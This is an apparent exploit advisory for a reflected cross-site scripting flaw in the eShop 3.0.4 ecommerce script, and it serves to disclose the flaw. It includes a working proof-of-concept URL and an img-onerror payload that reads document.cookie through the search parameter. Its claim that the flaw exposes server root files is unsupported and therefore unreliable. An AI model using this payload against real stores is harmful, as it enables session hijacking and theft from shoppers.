#     Exploit Title: eShop - Multipurpose Ecommerce / Store Website 3.0.4 - Cross Site Scripting (XSS) #     Exploit Author: Keyvan Hardani #     Date: 01/06/2022 #     Vendor Homepage: https://wrteam.in/ #     Version: up to 3.0.4 #     Tested on: Kali Linux - Windows 10 Cross-site scripting (XSS) vulnerability in json search parse and the json response in wrteam.in, eShop - Multipurpose Ecommerce / Store Website version 3.0.4 allows remote attackers to inject arbitrary web script or HTML via the get_products?search parameter. Vulnerability fields: ============= ``` <span class="select2-selection__rendered" id="select2-x7vs-container" role="textbox" aria-readonly="true"></br> <span class="select2-selection__placeholder">Search for products </span></br> </span> ``` --- on search parser and the json response POC - To demonstrate the XSS via the Error parameter, the following method can be used: ============= https://site.com/home/get_products?search=%22%3E%3CIMG%20SRC%3Dindex.php%20onerror%3Dalert(document.cookie)%3E Payload : <IMG SRC=index.php onerror=alert(document.cookie)> Security Risk ============= This security vulnerability allows to execute arbitrary JavaScript code in users' browsers if they access URLs prepared by attackers. This security vulnerability allows to direct access to your root files on your server. Github: https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS/blob/main/README.md DISCLAIMER: This exploit is for testing and educational purposes only. Any other usage for this code is not allowed. Use it at your own risk.